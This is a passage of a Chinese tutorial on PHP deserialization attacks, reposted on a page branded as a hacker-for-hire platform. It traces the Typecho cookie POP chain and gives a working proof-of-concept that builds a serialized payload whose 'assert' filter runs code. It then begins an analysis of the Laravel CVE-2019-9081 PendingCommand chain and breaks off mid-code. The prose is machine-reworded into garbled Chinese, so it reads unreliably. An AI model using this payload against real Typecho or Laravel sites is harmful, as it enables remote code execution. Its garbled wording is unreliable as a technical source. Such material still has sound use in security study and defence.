由浅入深剖析序列化攻击(三)-黑客接单平台

接之前的两篇文章: https://www.baidusina/Article/60/61/2019/93995.htm https://www.baidusina/Article/60/61/2019/94171.htm 之前别离介绍了php序列化进犯的魔法办法、session序列化引擎以...

接之前的两篇文章: https://www.baidusina/Article/60/61/2019/93995.htm https://www.baidusina/Article/60/61/2019/94171.htm 之前别离介绍了php序列化进犯的魔法办法、session序列化引擎以及原生类序列化问题。 本篇文章则主要从实在事例来看序列化的pop链结构。 typecho序列化 这一节就简单说一下结构链,由于之前的文章剖析过,可详见: https://skysec.top/2019/12/29/cms%E5%B0%8F%E7%99%BD%E5%AE%A1%E8%AE%A1-typecho%E5%8F%8D%E5%BA%8F%E5%88%97%E6%BC%8F%E6%B4%9E/ 总结 1.找到下手点__typecho_config: $config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config'))); 2.寻觅可用类Typecho_Db: $db = new Typecho_Db($config['adapter'], $config['prefix']); 3.运用Typecho_Feed魔法办法__toString(): $config['adapter'] => new Typecho_Feed() class Typecho_Feed __toString() 4.运用Typecho_Request魔法办法__get(): $item['author']->screenName class Typecho_Request __get() 5.运用get()办法,完结运用链: get() -> _applyFilter() -> call_user_func poc class Typecho_Feed{ private $_type='ATOM 1.0'; private $_items;

public function __construct(){ $this->_items = array( '0'=>array( 'author'=> new Typecho_Request()) ); } }

class Typecho_Request{ private $_params = array('screenName'=>'phpinfo()'); private $_filter = array('assert'); } $poc = array( 'adapter'=>new Typecho_Feed(), 'prefix'=>'typecho');

echo base64_encode(serialize($poc)); laravel序列化 Laravel是一套简练、高雅的PHP Web开发结构(PHP Web Framework),若其自身呈现缝隙,则对运用呼应结构开发的网站影响是丧命的。而这儿就将剖析laravel结构序列化RCE,CVE编号:CVE-2019-9081,受影响规模:laravel >= 5.7。 类名加载 咱们首要随意结构一段序列化: 咱们传入laravel,并进行反序列化,能够看到load办法企图加载咱们随意输入的sky类,首要在$facadeNamespace中寻觅指定类名:

假如找到,则会经过loadFacade进行加载,不然则进入loadClass进行class map查找,在vendor目录下寻觅所需类:

可是并不能找到sky类,最终会return false。 最终检查是否class名以Swift_最初:

最终由于找不到对应类的界说,所以并不能成功进入反序列化流程。 但假如咱们用一个存在的类,能够显着发现在findFile函数的classMap中找到了相关类,并回来进行了include:

风险类发掘 发掘一个结构的新缝隙,从结构新参加的代码下手是一个很好的思路。咱们注意到laravel在5.7之后参加了PendingCommand:

值得注意的是,咱们查到该文件,其界说了PendingCommand类,一起注意到其两个办法: /** * Execute the command. * * @return int */ public function execute() { return $this->run(); } /** * Handle the object's destruction. * * @return void */ public function __destruct() { if ($this->hasExecuted) { return;[1][2][3][4]黑客接单网

  • 发表于 2021-04-17 11:29
  • 阅读 ( 162 )
  • 分类:互联网

0 条评论

请先 登录 后评论
tl801
tl801

669 篇文章

你可能感兴趣的文章

相关问题